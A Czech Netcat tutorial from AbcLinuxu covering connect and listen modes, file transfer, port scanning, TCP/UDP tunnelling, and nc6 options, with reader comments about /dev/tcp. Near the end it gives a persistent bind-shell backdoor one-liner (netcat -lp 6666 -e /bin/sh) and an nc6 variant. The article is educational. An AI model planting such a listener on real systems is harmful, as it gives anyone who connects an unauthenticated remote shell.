Portál AbcLinuxu, 5. května 2025 09:19
Říká se mu „Swiss-army knife for TCP/IP “ – Švýcarský armádní nůž pro TCP/IP. Samozřejmě mluvím o dobře známém Netcatu. Jedná se o síťový nástroj primárně určený pro zápis a čtení z TCP nebo UDP roury (socketu). Ale jeho dnešní implementace zvládají i celou řadu jiných užitečných věcí.
Říká se mu „Swiss-army knife for TCP/IP “ – Švýcarský armádní nůž pro TCP/IP. Samozřejmě mluvím o dobře známém Netcatu. Jedná se o síťový nástroj primárně určený pro zápis a čtení z TCP nebo UDP roury (socketu). Ale jeho dnešní implementace zvládají i celou řadu jiných užitečných věcí.
Autorem původního Netcatu je Hobbit. První verze Netcatu vyšla v roce 1995 pod Permissive free software licencí. Původní Netcat byl navržen jako síťová analogie programu cat. Poslední verze Hobbitova Netcatu (1.1) vyšla v březnu roku 1996 a lze ji stáhnout kupříkladu na sourceforge.net. Od té doby vznikla celá řada implementací Netcatu, asi nejrošířenější je GNU Netcat od Giovanni Giacobbiho. Cílem GNU Netcatu je plná kompatibilita s originálním Netcatem (1.1) od Hobbita. Poslední verze GNU Netcatu (0.7.1) vyšla 11. ledna 2004. Za zmínku stojí také Netcat6 (nc6), který plně podporuje IPv6 a mnoho dalších voleb. Další zajímavou implementací Netcatu je Ncat Chrise Gibsona, jedná se o vylepšenou verzi originálního Netcatu s podporou IPv6, SSL, proxy pomocí SOCKS4 protokolu, HTTP – CONNECT metody a v neposlední řadě i možností vytvořit řetěz Ncatů velice jednoduše.
V následujících příkladech budu používat GNU Netcat, který buď najdete v repozitáři své oblíbené distribuce anebo zde.
V první řadě je třeba zmínit, že GNU Netcat (dále jen Netcat) se používá ve čtyřech základních módech:
Další použití a implementace Netcatu:
Jedná se nejspíš o nejpoužívanější funkci v Netcatu vůbec. Ukážeme si, jak lze pomocí Netcatu prolétnout poslední poštu.
sh1# netcat -v mail.xxxxxxx.cz +OK mail.xxxxxxx.cz xxxxxxx.cz Mail server 2.7 POP3 USER elch@xxxxxxx.cz +OK elch@xxxxxxx.cz PASS ***************** +OK 29 messages (1597217) octets LIST 1 4676 2 5528 .... RETR 29 ***Message*** QUIT +OK mail.xxxxxxx.cz closing connection
Parametr -v zajištuje, že je výstup přesměrován na stderr. Obecně tuto možnost volíme, pokud chceme od Netcatu, aby vracel nějaké informace o svém stavu.
Při použití -vv je Netcat ještě „ukecanější“.
Dalším dobrým příkladem použití módu připojení Netcatu je jednoduché příjmání dat. Předpokládejme, že na portu 30000 naslouchá server, co nám chce poslat soubor zabalený pomocí gzip.
sh1# netcat -v localhost 30000|gzip -cd > file
analogicky
sh1# netcat -v -s 127.0.0.1 30000|gzip -d > file
Soubor byl na straně serveru zkopmprimován a poté zapsán do síťové roury (socketu). Jakmile se Netcat k síťovému socketu připojil a začal z něj číst, přišla mu na výstup komprimovaná data, která jsme přesměrovali na vstup gzipu. Problém však nastává při ukončování komunikace. Netcat totiž na rozdíl od jiných aplikací ignoruje EOF, takže nám nezbyde nic jiného než po chvíli ukončit spojení pomocí Ctrl+c .Toto se na první pohled může zdát jako komplikace, ale s trochou selského rozumu a lehkou matematikou si můžeme spočítat, jak dlouho máme na soubor určité velikosti čekat. Netcat musí ignorovat EOF, jinak by nemohl být bez znovuspouštění použit pro přesměrování celé komunikace. Nyní pomocí Netcatu odešleme data na server, který běží na lokálním stroji řekněme, že opět na portu 30000.
sh1# netcat localhost 30000 < file.gz
Toto řešení se hodí například pokud máme na stroji za routrem nějaká data, která chceme dostat na server, na jehož portu 30000 beží netcat v módu naslouchání.
Netcat podporuje implicitně dva síťové protokoly: TCP a UDP. Výše uvedené příklady defaultně používají TCP protokol, pokud bysme chtěli použít UDP protokol, je třeba dodat netcatu parametr -u (--udp)
Nesmíme zapomenout, že netcat podporuje i skenování portů. I když je dnes na „trhu“ spousta port skenerů pro různé platformy, pokud potřebujete něco rychle oskenovat a například nmap není po ruce, může se i tato funkce hodit.
sh1# netcat -vv -z -n 127.0.0.1 20-22
Pro skenování se používá parametr -z (I/O Zero mode). Funguje to tak, že netcat na daném rozsahu portů (20-30) postupně připojí na hosta a v módu TCP provede pouze potřesení rukou (handshake) a pak se ukončí. V Módu UDP dojde k odeslání malého množství dat.
Pro změnu používám parametr -n, který je zapotřebí chceme-li použít numerický zápis IPv4.
Při použití parametru -r < rozsah portu > se skenovaní provádí v pseudo-náhodném pořadí.
Netcat v tomto módu naslouchá (parametr -l) na portu určeným parametrem -p < port > a čeká na připojení klienta. Jakmile dojde k navázání komunikace s klientem, Netcat výstup z roury (socketu) přesměruje na stdout a stdin z konzole přesměruje do roury (socketu).
sh1# netcat -l -p 15000
Takto vypadá nejzákladnější příklad použití Netcatu v modu naslouchání. Protokolem komunikace je implicitně TCP/IP.
sh1# netcat -l -u -p 15000
nebo
sh1# netcat -l --udp -p 15000
Ve výše uvedeném příkladu je Netcat opět v módu naslouchání s tím rozílem, že za protkol komunikace jsme zvolili UDP.
Jako příklad se nám bude hodit server, který příjme data dekomprimuje je výstup přesměruje do souboru. V podstatě se jedná o serverový protějšek demonstrací se zasíláním souborů.
sh1# netcat -lp 30000|gzip -d > file
Funguje to tak, že Netcat otevře socket na lokalní adrese a portu a poté čeká při příchozím spojení na námi definovaném portu, za předpokladu, že klient komunikuje na stejném protokolu, Netcat akceptuje příchozí spojení. Po akceptování příchozí komunikace se začnou příjmat data (pokud klient něco pošle), jež jsou pomocí systémové roury („pajpy“) přesměrována přímo na vstup gzip, který je díky parametru -d dekomprimuje. Následně je výstup z gzip přesměrován do souboru file.
Tunelování je u klasické verze Netcatu pouze o směrování vstupu a výstupu mezi Netcatem v naslouchacím módu a v módu připojení. U novějších klonů Netcatu jsou dostupné volby, kterými požadovaný vstup přesměrujete jinam. Skvělým příkladem reálně použitelné aplikace Netcatu je most mezi protokoly TCP a UDP.
sh1# netcat -l -p 30001|netcat -u cilovy_udp_server 30000
Výše uvedený příklad je typem klasického tunelování. Netcat server čeká, až se nějaký TCP klient připojí na port 30001 a začne posílat data. Ta jsou rourou přesměrována do vstupu Netcat clienta, který je připojen na UDP port cílového serveru. Toto lze dobře otestovat i lokálně:
sh1# netcat --tcp localhost 30001 sh2# netcat --udp -l -p 30000
Problém s jednosměrnou komunikací je řešen v následujícím příkladu přidáním další roury, která bude zvládat zpětnou komunikaci:
sh1# mkfifo /tmp/pipe
nebo
sh1# mknod /tmp/pipe p sh1# netcat -l -p 30000 < /tmp/pipe|netcat -u cilovy_udp_server 30001 > /tmp/pipe
Demonstraci této funkce lze provést naprosto přesně jako u předchozího příkladu. Další ukázkou využití Netcatu je TCP – UDP relé.
sh1# netcat -lp 30000 < /tmp/pipe |netcat -u -lp 30001 > /tmp/pipe
Analogicky se dají dělat tvořit jiné zajímavé kombinace. V případě, že si potřebujete pustit nějaké video popřípadě film vzdáleně.
sh1# netcat -l -p 30000 < movie.avi
Opět pro jednoduchost provádím demonstraci lokálně.
sh1# netcat localhost 30000| mplayer -cache 4096 -
Výstup Netcatu je presměrován pomocí roury na stdin MPlayeru, pomocí '-' „říkáme“ MPlayeru, aby začal přehrávat, to co má na standardním vstupu (stdin).
V podobných případech se opravdu hodí použít parametr MPlayeru: -cache pro plynulost.
Nejspíš je dobré zmínit, jak netcat použít k připojení se k Telnet serveru:
sh1# netcat -t telnetServer
Pomocí Netcatu se dá snadno naskriptovat i Telnet server.
Tato implementace Netcatu podporuje k již známým funkcím GNU Netcat IPv6, možnost nastavení velikosti zasobníku, možnost vypnutí Nagleho algoritmu a pár dalších věcí. Rád bych některé z nich zmínil:
Níže je uveden příklad jednoduchého použití nc6 s využitím IPv6 v módu nasluchání a připojení:
sh1# nc -6 -lp 20000 sh2# nc -6 ::1 20000
Princip komunikace je naprosto stejný jako u GNU Nectatu s tím rozdílem, že používá IPv6 namísto protokolu IPv4.
Defaultně je velikost zásobníku nc6 nastavena na 8KB pro TCP a 128KB pro UDP protokol. Toto nastavení je naprosto dodstačující pro skenování nebo posílání drobných souborů. Nicméně při přesunu větších souborů nebo při použití UDP protokolu se známou velikostí datagramu v bajtech je dobré mít možnost velikost zásobníku trochu poladit. Pro příklad řeknu, že velikost datagramu (jde o součet velikosti dat a konstantní velikosti hlavíčky) bude 0xFFFF a nastavím na tu samou hodnotu velikost zásobníku, pak každý datagram bude přečtený právě jedním systémovým voláním. Což celý proces komunikace zoptimalizuje.
S nastavením velikosti zásobníku přímo souvisí parametr -x (analogicky --transfer), který se používá pro transfér vetšího počtu dat. Tento parametr je ekvivalentní volbě --recv-only nebo --send-only --buffer-size=65536 .
V tomto případě závisí na způsobu použití nc6.
Příklad použití volby -x v módu naslouchání – čekání na příchozí data na portu 20000:
sh1# nc -x -lp 20000
Nagleho algoritmus (Nagle's algorithm) snižuje množství odeslaných paketů při použití TCP protokolu. Respektive snižuje potřebu odesílat je tak často, protože se snaží každý paket plnit, dokud nepřijde informace o příjetí předchozího paketu od příjemce zpět k odesílateli. Pokud se tedy snažíme odeslat data, která nenacpeme do jednoho paketu a Nagleho algoritmus není vypnut, dojde k prodlevě mezi tím, než příjemce obdrží paket odešle odpověď a odesílateli odpověď dojde.
Takže pokud máte například dva servery spojeny kabelem a potřebujete překopírovat nějaký větší soubor, může vypnutí Nagleho algoritmu urychlit přesun dat.
sh1# cat bigFile|nc --disable-nagle -x cilovyServer < cilovyPort >
Snadno odhalitelný backdoor.
sh1# while true ;do netcat -lp 6666 -e /bin/sh ; done &
Bez použití while v nc6:
sh1# nc --continuous -lp 6666 -e /bin/sh amp;
Netcat naslouchá na portu 6666 a při připojení klienta se pustí /bin/sh. Jakmile se spojení ukončí, Netcat začne opět naslouchat.
O různých implementacích Netcatu s různými rozšířeními a jejich podrobným popisem by se dala napsat celá kniha. Snaha byla shrnout nějaké základy pro uživatele, kteří s Netcatem ještě neměli tu čest. A zároveň se pokusit objasnit některé složitější funkce nebo ne až tak dobře popsané možnosti nových implementací Netcatu. Pokud bude zájem, příště se podívám důkladně na bluetooth podporu Netcatu6, představím Cryptcat, Ncat a Socat.
V některých distribucích se lze potkat i s OpenBSD verzí netcatu, která má (mimo jiné) odlišnou syntaxi pro listen mode:
netcat -l <port>
echo "ahoj" | netcat -l -p 3000 # ~odosielateľ správy netcat localhost 3000 | cat # ~prijimateľ správyfunguje to pekne, ale ked "ctrl+c" ktorúkoľvek stranu, tak spadne aj druhá - čo je samozrejme správne. No a ja by som chcel aby to fungovalo tak že na jednej strane by bežal "príjimateľ správy", ten by bežal trvalo a na druhej trane by "odosielateľ" správy iba zbehol a skončil. A teda mohol by som opakovanie takto posielať správy. Zaujíma ma to čisto teoreticky nemám momentálne na to žiadne využitie...
while true; do netcat localhost 3000 | cat; done localhost [127.0.0.1] 3000 (?) : Connection refused localhost [127.0.0.1] 3000 (?) : Connection refused localhost [127.0.0.1] 3000 (?) : Connection refused localhost [127.0.0.1] 3000 (?) : Connection refused localhost [127.0.0.1] 3000 (?) : Connection refused localhost [127.0.0.1] 3000 (?) : Connection refused localhost [127.0.0.1] 3000 (?) : Connection refused localhost [127.0.0.1] 3000 (?) : Connection refused ^Clocalhost [127.0.0.1] 3000 (?) : Connection refusedteda nekonečný sled týchto hlášok... A z princípu v tom mojom scénari, prijmateľ musí bežať prvý/stále...
while true;do netcat -lp 6000 >> MSGs; done # naslouchá příjmá a zapisuje zprávy pod sebe do souboru echo "Ahoj"|netcat localhost 6000 # posílá zprávy
/dev/tcp/hostname.domain/port
(napr. /dev/tcp/google.com/80
. Podobne s udp. Cim sa da nahradit pouziteie netcatu ako odosielacieho toolu a rovnako nie je problem s nutnostou zabijat cez Ctrl-c.
netcat -l -p 3333V 2. terminale:
echo aaaa >/dev/tcp/localhost/3333V 1. sa vypise text
aaaa
a netcat sa ukonci. Co nefunguje?
[pavlix@dragon ~]$ ls -l /dev/tcp/google.com/80 ls: cannot access /dev/tcp/google.com/80: No such file or directory [pavlix@dragon ~]$ ls -l /dev/tcp/google.com ls: cannot access /dev/tcp/google.com: No such file or directory [pavlix@dragon ~]$ ls -l /dev/tcp ls: cannot access /dev/tcp: No such file or directoryNavíc mi nefunguje ani oboustranná komunikace (přesněji řečeno nevím jak na ni).
[pavlix@dragon ~]$ socat /dev/tcp/google.com/80 - 2012/05/27 11:19:52 socat[17521] E open("/dev/tcp/google.com/80", 0102, 0666): No such file or directoryPřijde mi, že autor tohoto asi nepřemýšlel hlavou. Nebo ani ne tak autor, ten si možná prostě jenom po večerech hrál, hrál, až došel do fáze proof of concept. Spíš ten, kdo tuhle „feature“ zařadil.
wget
, netcat
či socat
touhle věcí je asi
/dev/fd/0
resp. /dev/stdin
apod., což umožní předat standardní vstup/výstup i programům, které -
neumí.
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.